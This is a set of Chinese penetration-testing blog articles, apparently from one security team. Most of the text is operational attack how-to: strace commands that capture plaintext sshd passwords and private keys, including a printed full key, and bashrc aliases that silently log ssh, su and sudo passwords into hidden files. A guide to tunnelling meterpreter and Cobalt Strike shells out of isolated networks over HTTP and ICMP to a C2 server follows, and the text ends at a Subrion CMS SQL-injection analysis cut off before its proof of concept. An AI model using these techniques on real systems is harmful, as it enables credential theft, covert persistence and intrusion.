以上大部分研究成果都产出于去年七八月份，在写本文的时候大部分payload任然有效，相信在不久的未来这些payload也会被加入黑名单，不过只要掌握了绕过思路和方法，写出你自己独有的绕过也是迟早的事情。本文花费了笔者大量的时间和精力，增删修改了多次，希望这篇文章不仅仅是一篇WAF绕过系列的专题文章，而是能够给大家带来研究学习的方向，比如软件WAF的逆向技术(C\C++\C#)、WIN32 HOOK技术、SQL功能特性的FUZZ和研究、SQL注入漏洞利用方法以及脚本自动化等，每一个方面都值得深入研究学习，有些内容大可不必花费笔墨。对于SQL的各种功能特性笔者并没有花费篇幅一一详解，一是有些功能特性笔者也搞不懂；二来篇幅有限同时觉得也没有必要，大部分功能特性tricks都融合在文中的payload里面，希望各位读者能够结合实际场景细细琢磨领会。笔者文笔粗浅，文章有所疏漏在所难免还请指正担待。

4 参考

https://xz.aliyun.com/t/368
https://klionsec.github.io/2017/07/31/bypasswaf-on-database/

版权声明：

本文由团队成员flystart@MS509原创，已于2020-5-25发表于“先知社区”，转载请注明来源

阅读原文

跳转微信打开

当渗透测试人员拿到shell后，如果要进一步渗透，信息收集是重中之重，内网渗透的深入程度取决于信息收集的深度，内网渗透的本质就是信息收集，而登录凭证的收集是信息收集的重点方向。关于linux系统下登录凭证收集的文章多为翻查文件。本文将研究

当渗透测试人员拿到shell后，如果要进一步渗透，信息收集是重中之重，内网渗透的深入程度取决于信息收集的深度，内网渗透的本质就是信息收集，而登录凭证的收集是信息收集的重点方向。关于linux系统下登录凭证收集的文章多为翻查文件。本文将研究linux系统下的通过调试程序的方法，跟踪进程数据的方式收集登录凭证。

strace是linux中的调试工具，可通过附加到进程来调试正在运行的进程，strace记录一个正在运行的程序正在执行的系统调用以及参数。我们可以通过这种方式来跟踪任何进程数据，比如sshd ssh su sudo等进程数据来获取登录凭证。

例如，如果一个应用程序（例如Pidgin）遭到入侵，攻击者就有可能附加到其他正在运行的进程（例如Firefox，SSH会话，GPG代理等）以提取其他凭证并继续扩大范围，无需借助用户协助的网络钓鱼就可以进行攻击。

strace简介

安装strace

# 能出网
yum install strace -y
apt install strace -y
# 不能出网
上传对应安装包，手工安装，或者编译安装

strace使用条件

Linux Kernel 3.4及更高版本支持完全限制或禁用ptrace的功能。这可以通过使用sysctl将kernel.yama.ptrace_scope设置为1、2或3来完成。默认情况下，大多数发行版都将其设置为1。根据Linux Kernel Yama Documentation，这些数字映射到以下权限：

0-经典ptrace权限：进程可以将PTRACE_ATTACH传递给任何其他进程，只要它是可转储的（即没有转换uid，没有特权启动或没有调用prctl（PR_SET_DUMPABLE ...）。同样，PTRACE_TRACEME为不变。

1-受限制的ptrace：进程必须具有预定义的关系下一个它想调用PTRACE_ATTACH。默认情况下，当上面的关系时，这种关系只是其后代的关系也符合经典标准。要改变关系，下级可以调用prctl（PR_SET_PTRACER，debugger，...）进行声明允许的调试器PID调用劣质的PTRACE_ATTACH。使用PTRACE_TRACEME不变。

2-仅限管理员附加：只有具有CAP_SYS_PTRACE的进程才能使用ptrace，通过PTRACE_ATTACH，或通过子级调用PTRACE_TRACEME。

3-没有连接：任何进程都不能将ptrace与PTRACE_ATTACH一起使用，也不能通过PTRACE_TRACEME。设置后，该sysctl值将无法更改。

这样可以通过运行sysctl kernel.yama.ptrace_scope=3在系统上禁用ptrace。但是，这可能会破坏正在运行的其他程序。例如，Wine在禁用ptrace的情况下无法正常工作。我建议您测试非生产服务器，并验证其所有功能在未启用ptrace的情况下能否正常运行。禁用ptrace还可以阻止某些调试功能。

查看修改系统strace配置

# 查看
cat /proc/sys/kernel/yama/ptrace_scope
# 修改
echo 0 > /proc/sys/kernel/yama/ptrace_scope 或者 sysctl kernel.yama.ptrace_scope=0
# 当kernel.yama.ptrace_scope的值设置为3后，必须重启系统后才能更改

strace语法

-c 统计每一系统调用的所执行的时间,次数和出错的次数等.
-d 输出strace关于标准错误的调试信息.
-f 跟踪由fork调用所产生的子进程.
-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.
-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.
-h 输出简要的帮助信息.
-i 输出系统调用的入口指针.
-q 禁止输出关于脱离的消息.
-r 打印出相对时间关于,,每一个系统调用.
-t 在输出中的每一行前加上时间信息.
-tt 在输出中的每一行前加上时间信息,微秒级.
-ttt 微秒级输出,以秒了表示时间.
-T 显示每一调用所耗的时间.
-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.
-V 输出strace的版本信息.
-x 以十六进制形式输出非标准字符串
-xx 所有字符串以十六进制形式输出.
-a column 设置返回值的输出位置.默认 为40.
-e expr 指定一个表达式,用来控制如何跟踪.格式：[qualifier=][!]value1[,value2]...
qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如:-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open 表示跟踪除了open以外的其他调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.
-e trace=set 只跟踪指定的系统 调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.
-e trace=file 只跟踪有关文件操作的系统调用.
-e trace=process 只跟踪有关进程控制的系统调用.
-e trace=network 跟踪与网络有关的所有系统调用.
-e strace=signal 跟踪所有与系统信号有关的 系统调用
-e trace=ipc 跟踪所有与进程通讯有关的系统调用
-e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.
-e raw=set 将指定的系统调用的参数以十六进制显示.
-e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.
-e read=set 输出从指定文件中读出 的数据.例如: -e read=3,5
-e write=set 输出写入到指定文件中的数据.
-o filename 将strace的输出写入文件filename
-p pid 跟踪指定的进程pid.
-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.
-u username 以username的UID和GID执行被跟踪的命令

收集任意已有进程登录凭证

strace -p参数指定进程，收集对应进程的系统调用数据

获取sshd进程明文密码

1.root权限执行

# 使用括号执行程序，当前shell退出，执行的程序不会退出
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

2.查找用户名和密码的正则表达式为read\(6, ".+\\0\\0\\0\\.+"

# 查找用户名和密码
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log

# 结果形式如下
[pid  2401] 22:34:34 read(6, "\10\0\0\0\4root", 9) = 9
[pid  2401] 22:34:34 read(6, "\4\0\0\0\16ssh-connection\0\0\0\0\0\0\0\0", 27) = 27
[pid  2401] 22:34:34 read(6, "\f\0\0\0\4toor", 9) = 9

获取sshd进程私钥

1.root权限执行

# 使用括号执行程序，当前shell退出，执行的程序不会退出
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

2.查找私钥直接搜索字符串PRIVATE KEY

# 如果私钥设置的了密码，似乎不能抓到私钥密码
# 查找用户名和密码
grep 'PRIVATE KEY' /tmp/.sshd.log

# 结果形式如下
[pid  1009] 23:17:34 read(4, "-----BEGIN OPENSSH PRIVATE KEY-----\n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\npuzYc7LCnLR8alqQAAAAlyb290QGthbGk=\n-----END OPENSSH PRIVATE KEY-----\n", 4096) = 2590

收集任意指定程序登录凭证

给指定程序设置命令别名，使运行指定程序时自动strace读写系统调用，收集登录凭证

收集ssh登录凭证

1.添加命令别名

# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
# 使命令别名立即生效
source ~/.bashrc

2.记录的strace文件如下：

936   write(4, "root@192.168.168.20's password: ", 32) = 32
936   read(4, "t", 1)                   = 1
936   read(4, "o", 1)                   = 1
936   read(4, "o", 1)                   = 1
936   read(4, "r", 1)                   = 1
936   read(4, "\n", 1)                  = 1
936   write(4, "\n", 1)                 = 1

3.可以通过正则.+@.+\bpassword定位密码位置

收集su、sudo等需要提升权限运行的程序的登录凭证

1.给strace程序添加suid权限，即以root权限执行

# 查看strace文件位置
which strace
/usr/bin/strace
# 添加suid权限
chmod +s /usr/bin/strace

2.添加命令别名

# 添加命令别名
vi ~/.bashrc或者/etc/bashrc
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
# 使命令别名立即生效
source ~/.bashrc

3.记录的strace文件如下：

write(6, "[sudo] password for kali: ", 26) = 26
read(6, "i", 1)                         = 1
read(6, "l", 1)                         = 1
read(6, "a", 1)                         = 1
read(6, "k", 1)                         = 1
read(6, "\n", 1)                        = 1

4.根据程序运行输出的特征字符串定位密码位置

总结

当linux系统配置文件/proc/sys/kernel/yama/ptrace_scope值不为3时，可以通过strace记录任何程序的系统调用（常用read、write调用）来获取登录凭证

参考链接

• https://klionsec.github.io/2016/09/22/strace/

• https://blog.netspi.com/using-strace-to-monitor-ssh-connections-on-linux/

• https://www.kernel.org/doc/Documentation/security/Yama.txt

版权声明：

本文由last0monster@MS509团队成员原创，已于2020年5月发表于“先知社区”，转载请注明来源

阅读原文

跳转微信打开

0x0 前言网络上关于内网穿透的文章很多，但大部分都是侧重于工具的使用，原理提及较少。本文将从内网穿透的原理

0x0 前言

网络上关于内网穿透的文章很多，但大部分都是侧重于工具的使用，原理提及较少。本文将从内网穿透的原理开始探讨，根据不同的内网出网入网情况，灵活设计对应的内网穿透方案。

0x1 内网穿透原理

内网穿透是:利用各种隧道技术，以网络防火墙允许的协议，绕过网络防火墙的封锁，实现访问被封锁的目标网络。

什么是隧道技术呢？我们看一下百科词条的解释

隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息，从而使封装的负载数据能够通过互联网络传递。被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点，数据将被解包并转发到最终目的地。注意隧道技术是指包括数据封装、传输和解包在内的全过程。

我们进行内网渗透常用的隧道技术有dns隧道、http隧道、ssh隧道、icmp隧道等容易被网络防火墙放行的协议。

这些隧道技术可以按所处的协议层分层。

• 网络层隧道

  ICMP隧道等

• 传输层隧道

  TCP隧道、UDP隧道

• 应用层隧道

  HTTP、DNS、SSH等隧道

内网主机所有可能的出网方式

• 允许ICMP协议出网

  网络防火墙允许ICMP协议出网，即能ping通外网主机，一般都能出网

• 允许特定的TCP或UDP协议端口出网

  网络防火墙允许特定的TCP或者UDP端口出网，比如连接外网的22、53、80、443、3389等常见应用的默认监听端口。在一个不能出网的网络环境里面，将所有的TCP和UPD端口都探测一遍，通常都能发现有一两个常见的端口能出网。这通常是由于网络管理员的错误配置和偷懒行为导致。比如配置的防火墙规则前后矛盾，解析的时候遇到匹配规则就退出执行；比如网络管理员配置允许web服务器访问另一子网的mysql数据库的3306端口。网络管理员配置时偷懒，可能会直接放行web服务器到任意ip地址的3306端口

• 允许特定的应用层协议出网（比如HTTP、SSH、DNS等应用层协议）

  这种网络防火墙能识别应用层的协议，放行允许出网的协议，比如HTTP、SSH、DNS、RDP等应用层协议;通常办公网是允许HTTP协议出网的，可能会域名白名单限制

内网主机所有可能的入网方式

• 允许ICMP协议入网

  能ping通目标主机

• 允许特定的TCP或UDP协议端口入网

  NAT端口映射公网IP端口到内网主机的服务端口，比如将web服务、mysql服务NAT映射到公网

• 允许特定的应用层协议入网

  这种网络防火墙能识别应用层的协议，放行允许入网的协议。比如HTTP反向代理，将公网收到的HTTP流量反向代理进内网主机。当前主流的入网方式，通常会加层WAF审查入网流量

  0x2 内网穿透常用工具

  0x2.1 网络层隧道工具

• icmpsh

  能通过ICMP协议反弹cmd，功能单一，反弹回来的cmd极不稳定，不推荐使用

• icmptunnel

  创建虚拟网卡通过ICMP协议传输网卡流量，基于ICMP隧道的vpn，需要root权限，动静极大，不推荐使用

• pingtunnel

  tcp、udp、socks5 over ICMP，速度快，连接稳定，跨平台，client模式不需要管理员权限即可正常使用，推荐使用

0x2.2 传输层隧道工具

• netcat

  网络工具中的瑞士军刀，不多介绍，linux系统一般自带

• powercat

  powershell版的netcat

• socat

  具有记录转发流的功能，方便查看转发内容，需要安装

• netsh

  windows系统自带的网络配置工具

• lcx

  端口转发工具

• NATBypass

  一款lcx在golang下的实现,更好的跨平台，更完善的文档

• iox

  端口转发 & 内网代理工具，功能类似于lcx/ew，简化了命令行参数，支持UDP流量转发，更好的跨平台。缺点：不支持监听指定IP，默认监听0.0.0.0:port，会增大暴露风险

0x2.3 应用层隧道工具

由于应用层协议极多，对应的隧道工具也很多，我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等

• dnscat2

  不仅可以创建DNS隧道，更是C2

• dnscat2-powershell

  dnscat2的powershell客户端

• dns2tcp

  TCP over DNS,即通过DNS隧道转发TCP连接

• iodine

  IPv4 over DNS，即通过DNS隧道转发IPv4数据包

• reGeorg

  SOCKS over HTTP,即通过HTTP隧道转发SOCKS

• Neo-reGeorg

  重构版reGeorg，提高稳定性和可用性，避免特征检测，更新活跃

• reDuh

  TCP over HTTP,即通过HTTP隧道转发TCP连接，隧道不稳定

• Tunna

  TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS，隧道不稳定

• ABPTTS

  TCP over HTTP,即通过HTTP隧道转发TCP连接,数据加密，可自定义HTTP数据，对抗特征检测十分优秀，创建的隧道十分稳定，比较遗憾的是支持的web脚本类型只有aspx和jsp

• EarthWorm

  十分方便的多级SOCKS代理，已经永久停止更新

• Termite

  EarthWorm的升级版，已经永久停止更新

• Venom

  Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。

• ssocks

  正向和反向的socks工具，可执行文件的大小很小

• s5.go

  go语言编写的socks服务工具，良好的跨平台特性

• ssh
  本地转发：

  ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1 #ssh客户端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端，再由服务端转发到114.114.114.114:9999

  远程转发：

  ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1 #ssh服务端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh客户端，再由ssh客户端转发到114.114.114.114:9999

  动态转发：

  ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1 # ssh客户端监听127.0.0.1:7777开启socks服务，将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端，再由ssh服务端转发到目标地址

  构建ssh隧道的常用参数:

  -C 压缩传输，提高传输速度 -f 后台执行数据传输 -N 建立静默连接 -g 允许远程主机连接本地用于转发的端口 -L 本地端口转发 -R 远程端口转发 -D 动态转发，即SOCKS代理 -p 指定ssh连接端口

0x3 实战中的内网穿透案例

0x3.1 上线零出网的内网主机

实战背景：获取了webshell的主机位于内网，并且该内网主机icmp等网络层协议不能出网，tcp和udp等传输层协议不能出网，dns、http等应用层协议也不能出网，唯一的数据通道是反向代理入网的web应用。

方案设计

利用反向代理入网的web应用所在的HTTP连接，构建正向的TCP over HTTP隧道。通过这条隧道，我们可以向内网主机发起tcp连接。生成bind类型的payload，通过webshell上传执行就会监听一个端口，我们的远控平台通过构建的TCP over HTTP隧道，去连接监听的端口即可上线。

能构建TCP over HTTP的隧道的工具有ABPTTS、Tunna、reDuh等，由于Tunna、reDuh构建的tcp连接不稳定，这里选用ABPTTS。

0x3.1.1 上线metasploit

1.通过正向的http隧道构建tcp连接

# 配置abptts运行环境
# 注意windows安装pycrypto库需要先安装依赖http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto

# 生成server端脚本
python abpttsfactory.py -o server

# 上传server端脚本到web服务器，客户端运行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.10/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888

# abptts客户端监听127.0.0.1:7777，通过http://192.168.168.10/abptts.aspx这个http隧道，将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888

2.生成bind类型的payload，通过webshell上传执行

# 这里的rhost和lport是转发的目的IP和端口
msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe

3.启动msf监听，等待meterpreter执行上线

#这里的rhost和lport是abptts客户端监听的IP和端口，msf所在主机必须能访问到这个IP和端口，这里msf和abptts在同一个主机上

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run

[*] Started bind TCP handler against 127.0.0.1:7777
[*] Sending stage (180291 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 127.0.0.1:7777) at 2020-04-27 04:50:25 -0400

meterpreter > getuid
Server username: DESKTOP-0AH7FQ0\admin

0x3.1.2 上线cobaltstrike

由于cobaltstrike的bind类型的监听器仅有beacon TCP和beacon SMB，并且都必须连接到父beacon，无法直接连接cobalstrike服务端，所以我们需要一个父beacon来中转连接。

1.通过正向的http隧道构建tcp连接

# 配置abptts运行环境
# 注意windows安装pycrypto库需要先安装依赖http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto

# 生成server端脚本
python abpttsfactory.py -o server

# 上传server端脚本到web服务器，客户端运行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.121/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888

# abptts客户端监听127.0.0.1:7777，通过http://192.168.168.121/abptts.aspx这个http隧道，将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888

2.创建反向的listener

3.生成父beacon

4.上传父beacon到abptts客户端执行上线

5.创建payload为tcp beacon的listener

6.生成stageless的子beacon

7.将生成的子beacon通过webshell上传执行

# 可以通过webshell查看网络监听，确保子beacon执行成功
netstat -ano | findstr 127.0.0.1:8888

8.在父beacon中连接abptts的监听ip和端口

9.成功上线不能出网的webshell内网主机

0x3.2 上线仅icmp协议出网的内网主机

实战背景：通过某种信道获取了内网主机的shell，但是当前信道不适合做远控的通信信道（比如站库分离的网站，我们通过sql注入获取了数据库服务器的shell，但是数据库服务器只有icmp协议可以出网），tcp和udp等传输层协议不能出网，dns、http等应用层协议也不能出网，只有icmp协议可以出网。

方案设计

icmp协议可以出网，可以利用icmp协议，构建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台。搭建隧道的工具使用pingtunnel，它能通过icmp隧道转发tcp、udp、socks5连接。

0x3.2.1 icmp隧道转发tcp上线metasploit

1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端

./pingtunnel -type server -noprint 1 -nolog 1

2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 该命令的意思是icmp客户端监听127.0.0.1:9999，通过连接到icmpserver_ip的icmp隧道，将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777

3.生成反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线

msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe
# 这里的lhost和lport为icmp客户端监听ip和端口

4.启动msf监听，等待meterpreter执行上线

# 这里的lhost和lport为icmp客户端转发到的ip和端口

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:7777

meterpreter > getuid
Server username: DESKTOP-test0\admin

0x3.2.2 icmp隧道转发socks上线metasploit

1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端

./pingtunnel -type server -noprint 1 -nolog 1

2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道

pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务，通过连接到icmpserver_ip的icmp隧道，由icmpserver转发socks5代理请求到目的地址

3.生成支持socks5代理的反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线

msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe

4.启动msf监听，等待meterpreter执行上线

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 8443
lport => 8443
msf5 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:8443

meterpreter > getuid
Server username: DESKTOP-test0\admin

0x3.2.3 icmp隧道转发tcp上线cobaltstrike

1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端

./pingtunnel -type server -noprint 1 -nolog 1

2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 该命令的意思是icmp隧道客户端监听127.0.0.1:9999，通过连接到icmpserver_ip的icmp隧道，将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777

3.cobaltstrike创建listener

# https host和https port(c2)为icmp隧道客户端的监听ip和端口
# https port(bind)为转发目的地址的端口

4.生成反向payload的beacon

5.上传生成的beacon到ICMP隧道客户端执行，成功通过反向ICMP隧道上线

0x3.2.4 icmp隧道转发socks上线cobaltstrike

1.准备好一个具有公网ip的服务器，root权限运行以下命令，启动ICMP隧道服务端

./pingtunnel -type server -noprint 1 -nolog 1

2.ICMP隧道客户端（即需要通过ICMP隧道上线的主机）执行以下命令即可成功创建反向ICMP隧道

pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务，通过连接到icmpserver_ip的icmp隧道，由icmpserver转发socks5代理请求到目的地址

3.cobaltstrike创建listener

# 这里的代理可以是socks或者http
# 好像cobaltstrike不支持socks5代理，这里并不能成功上线
# 这里也可以使用http代理，不过需要工具将http代理转为socks5代理，比如privoxy

4.选择创建的listener生成beacon上传到目标执行即可上线

0x4 总结

内网渗透中内网穿透的本质，无非是通过各种通信信道，无论是正向的还是反向的，实现传输层协议tcp/udp数据包的转发，应用层协议都是基于传输层的协议实现的。比如ABPTTS + SOCKS服务 = reGeorg

内网渗透中的内网穿透的条件，能通过某种通信信道远程代码执行。如果能通过某种通信信道远程代码执行，一定可以通过这种通信信道实现tcp/udp数据包的转发，即TCP/UDP over something隧道。如果没有现成的工具，可能需要我们自己开发。比如，通过sql注入获取了shell，我们也可以利用这条通信信道转发tcp/udp数据包，没有现成的工具，需要我们开发工具而已，隧道客户端将tcp/udp数据包封装写进数据库，再由隧道服务端从数据库中读出封装的数据包解包，发往对应地址即可。

版权声明：

本文由MS509团队成员原创，转载请注明来源

阅读原文

跳转微信打开

Subrion cms 是一款国外的开源cms，使用php 开发，最新版本是4.2.1，目前正在开发的4.2.2 版本尚未发布。

Mail:root@flystart.org

0x01 Introduction

Subrion cms 是一款国外的开源cms，使用php 开发，最新版本是4.2.1，目前正在开发的4.2.2 版本尚未发布。
【官    网】https://subrion.org/
【下载地址】https://subrion.org/download/
【测试环境】php 5.6.27、mysql5.0.11、apache2.2
【测试版本】subrion cms 4.2.1 and subrion dev

0x02 Founded Vulnerabilities

0x03 Fundamental Analysis

SQL注入漏洞一

\subrion\front\actions.php line 34

$field = isset ($_POST['field']) ? iaSanitize::sql($_POST['field']) : null ;

变量POST['field']使用类函数iaScanitize::sql进行处理,最终调用mysqli_real_escape_string 进行转义，由于这个函数只能转义几个特殊字符，对于没有单引号的SQL注入并不能防御，因此这个参数可以无引号SQL注入漏洞利用。

\subrion\includes\classes\ia.core.sanitize.php

\subrion\includes\classes\ia.core.mysqli.php

Call stack :

Poc：

